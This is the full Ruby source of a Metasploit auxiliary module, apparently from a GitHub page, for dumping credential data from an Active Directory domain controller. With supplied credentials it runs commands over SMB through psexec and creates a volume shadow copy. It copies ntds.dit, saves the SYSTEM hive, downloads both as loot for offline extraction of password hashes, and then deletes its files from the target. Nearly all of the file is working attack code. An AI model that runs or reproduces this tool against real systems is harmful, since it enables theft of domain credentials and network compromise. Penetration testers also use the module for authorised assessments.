Permalink
Cannot retrieve contributors at this time
## | |
# This module requires Metasploit: https://metasploit.com/download | |
# Current source: https://github.com/rapid7/metasploit-framework | |
## | |
class MetasploitModule < Msf::Auxiliary | |
# Exploit mixins should be called first | |
include Msf::Exploit::Remote::SMB::Client::Psexec | |
include Msf::Auxiliary::Report | |
# Aliases for common classes | |
SIMPLE = Rex::Proto::SMB::SimpleClient | |
XCEPT= Rex::Proto::SMB::Exceptions | |
CONST= Rex::Proto::SMB::Constants | |
def initialize(info = {}) | |
super(update_info(info, | |
'Name' => 'PsExec NTDS.dit And SYSTEM Hive Download Utility', | |
'Description'=> %q{ | |
This module authenticates to an Active Directory Domain Controller and creates | |
a volume shadow copy of the %SYSTEMDRIVE%. It then pulls down copies of the | |
ntds.dit file as well as the SYSTEM hive and stores them. The ntds.dit and SYSTEM | |
hive copy can be used in combination with other tools for offline extraction of AD | |
password hashes. All of this is done without uploading a single binary to the | |
target host. | |
}, | |
'Author' => [ | |
'Royce Davis <rdavis[at]accuvant.com>' # @R3dy__ | |
], | |
'License'=> MSF_LICENSE, | |
'References' => [ | |
[ 'URL', 'http://sourceforge.net/projects/smbexec' ], | |
[ 'URL', 'https://www.optiv.com/blog/owning-computers-without-shell-access' ] | |
] | |
)) | |
register_options([ | |
OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server', 'C$']), | |
OptString.new('VSCPATH', [false, 'The path to the target Volume Shadow Copy', '']), | |
OptString.new('WINPATH', [true, 'The name of the Windows directory (examples: WINDOWS, WINNT)', 'WINDOWS']), | |
OptBool.new('CREATE_NEW_VSC', [false, 'If true, attempts to create a volume shadow copy', false]), | |
]) | |
end | |
# This is the main control method | |
def run | |
# Initialize some variables | |
text = "\\#{datastore['WINPATH']}\\Temp\\#{Rex::Text.rand_text_alpha(16)}.txt" | |
bat = "\\#{datastore['WINPATH']}\\Temp\\#{Rex::Text.rand_text_alpha(16)}.bat" | |
createvsc = "vssadmin create shadow /For=%SYSTEMDRIVE%" | |
@ip = datastore['RHOST'] | |
@smbshare = datastore['SMBSHARE'] | |
# Try and connect | |
if connect | |
# Try and authenticate with given credentials | |
begin | |
smb_login | |
rescue StandardError => autherror | |
print_error("Unable to authenticate with given credentials: #{autherror}") | |
return | |
end | |
# If a VSC was specified then don't try and create one | |
if datastore['VSCPATH'].length > 0 | |
print_status("Attempting to copy NTDS.dit from #{datastore['VSCPATH']}") | |
vscpath = datastore['VSCPATH'] | |
else | |
unless datastore['CREATE_NEW_VSC'] | |
vscpath = check_vss(text, bat) | |
end | |
unless vscpath | |
vscpath = make_volume_shadow_copy(createvsc, text, bat) | |
end | |
end | |
if vscpath | |
if copy_ntds(vscpath, text) and copy_sys_hive | |
download_ntds((datastore['WINPATH'] + "\\Temp\\ntds")) | |
download_sys_hive((datastore['WINPATH'] + "\\Temp\\sys")) | |
else | |
print_error("Failed to find a volume shadow copy. Issuing cleanup command sequence.") | |
end | |
end | |
cleanup_after(bat, text, "\\#{datastore['WINPATH']}\\Temp\\ntds", "\\#{datastore['WINPATH']}\\Temp\\sys") | |
disconnect | |
end | |
end | |
# Thids method will check if a Volume Shadow Copy already exists and use that rather | |
# then creating a new one | |
def check_vss(text, bat) | |
begin | |
print_status("Checking if a Volume Shadow Copy exists already.") | |
prepath = '\\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy' | |
command = "%COMSPEC% /C echo vssadmin list shadows ^> #{text} > #{bat} & %COMSPEC% /C start cmd.exe /C #{bat}" | |
result = psexec(command) | |
data = smb_read_file(datastore['SMBSHARE'], @ip, text) | |
vscs = [] | |
data.each_line { |line| vscs << line if line.include?("GLOBALROOT") } | |
if vscs.empty? | |
print_status("No VSC Found.") | |
return nil | |
end | |
vscpath = prepath + vscs[vscs.length - 1].to_s.split("ShadowCopy")[1].to_s.chomp | |
print_good("Volume Shadow Copy exists on #{vscpath}") | |
return vscpath | |
rescue StandardError => vsscheckerror | |
print_error("Unable to determine if VSS is enabled: #{vsscheckerror}") | |
return nil | |
end | |
end | |
# Create a Volume Shadow Copy on the target host | |
def make_volume_shadow_copy(createvsc, text, bat) | |
begin | |
#Try to create the shadow copy | |
command = "%COMSPEC% /C echo #{createvsc} ^> #{text} > #{bat} & %COMSPEC% /C start cmd.exe /C #{bat}" | |
print_status("Creating Volume Shadow Copy") | |
out = psexec(command) | |
#Get path to Volume Shadow Copy | |
vscpath = get_vscpath(text) | |
rescue StandardError => vscerror | |
print_error("Unable to create the Volume Shadow Copy: #{vscerror}") | |
return nil | |
end | |
if vscpath | |
print_good("Volume Shadow Copy created on #{vscpath}") | |
return vscpath | |
else | |
return nil | |
end | |
end | |
# Copy ntds.dit from the Volume Shadow copy to the Windows Temp directory on the target host | |
def copy_ntds(vscpath, text) | |
begin | |
ntdspath = vscpath.to_s + "\\" + datastore['WINPATH'] + "\\NTDS\\ntds.dit" | |
command = "%COMSPEC% /C copy /Y \"#{ntdspath}\" %WINDIR%\\Temp\\ntds" | |
run = psexec(command) | |
if !check_ntds(text) | |
return false | |
end | |
return true | |
rescue StandardError => ntdscopyerror | |
print_error("Unable to copy ntds.dit from Volume Shadow Copy.Make sure target is a Windows Domain Controller: #{ntdscopyerror}") | |
return false | |
end | |
end | |
# Checks if ntds.dit was copied to the Windows Temp directory | |
def check_ntds(text) | |
print_status("Checking if NTDS.dit was copied.") | |
check = "%COMSPEC% /C dir \\#{datastore['WINPATH']}\\Temp\\ntds > #{text}" | |
run = psexec(check) | |
output = smb_read_file(@smbshare, @ip, text) | |
if output.include?("ntds") | |
return true | |
end | |
return false | |
end | |
# Copies the SYSTEM hive file to the Temp directory on the target host | |
def copy_sys_hive | |
begin | |
# Try to crate the sys hive copy | |
command = "%COMSPEC% /C reg.exe save HKLM\\SYSTEM %WINDIR%\\Temp\\sys /y" | |
return psexec(command) | |
rescue StandardError => hiveerror | |
print_error("Unable to copy the SYSTEM hive file: #{hiveerror}") | |
return false | |
end | |
end | |
# Download the ntds.dit copy to your attacking machine | |
def download_ntds(file) | |
print_status("Downloading ntds.dit file") | |
begin | |
# Try to download ntds.dit | |
simple.connect("\\\\#{@ip}\\#{@smbshare}") | |
remotefile = simple.open("#{file}", 'rob') | |
data = remotefile.read | |
remotefile.close | |
ntds_path = store_loot("psexec.ntdsgrab.ntds", "application/octet-stream", @ip, data, "ntds.dit") | |
print_good("ntds.dit stored at #{ntds_path}") | |
rescue StandardError => ntdsdownloaderror | |
print_error("Unable to downlaod ntds.dit: #{ntdsdownloaderror}") | |
return ntdsdownloaderror | |
end | |
simple.disconnect("\\\\#{@ip}\\#{@smbshare}") | |
end | |
# Download the SYSTEM hive copy to your attacking machine | |
def download_sys_hive(file) | |
print_status("Downloading SYSTEM hive file") | |
begin | |
# Try to download SYSTEM hive | |
simple.connect("\\\\#{@ip}\\#{@smbshare}") | |
remotefile = simple.open("#{file}", 'rob') | |
data = remotefile.read | |
remotefile.close | |
hive_path = store_loot("psexec.ntdsgrab.hive", "application/octet-stream", @ip, data, "system-hive") | |
print_good("SYSTEM hive stored at #{hive_path}") | |
rescue StandardError => sysdownloaderror | |
print_error("Unable to download SYSTEM hive: #{sysdownloaderror}") | |
return sysdownloaderror | |
end | |
simple.disconnect("\\\\#{@ip}\\#{@smbshare}") | |
end | |
# Gets the path to the Volume Shadow Copy | |
def get_vscpath(file) | |
begin | |
prepath = '\\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy' | |
vsc = "" | |
output = smb_read_file(@smbshare, @ip, file) | |
output.each_line do |line| | |
vsc += line if line.include?("GLOBALROOT") | |
end | |
return prepath + vsc.split("ShadowCopy")[1].chomp | |
rescue StandardError => vscpath_error | |
print_error("Could not determine the exact path to the VSC check your WINPATH") | |
return nil | |
end | |
end | |
# Removes files created during execution. | |
def cleanup_after(*files) | |
simple.connect("\\\\#{@ip}\\#{@smbshare}") | |
print_status("Executing cleanup...") | |
files.each do |file| | |
begin | |
if smb_file_exist?(file) | |
smb_file_rm(file) | |
end | |
rescue Rex::Proto::SMB::Exceptions::ErrorCode => cleanuperror | |
print_error("Unable to cleanup #{file}. Error: #{cleanuperror}") | |
end | |
end | |
left = files.collect{ |f| smb_file_exist?(f) } | |
if left.any? | |
print_error("Unable to cleanup. Maybe you'll need to manually remove #{left.join(", ")} from the target.") | |
else | |
print_good("Cleanup was successful") | |
end | |
simple.disconnect("\\\\#{@ip}\\#{@smbshare}") | |
end | |
end |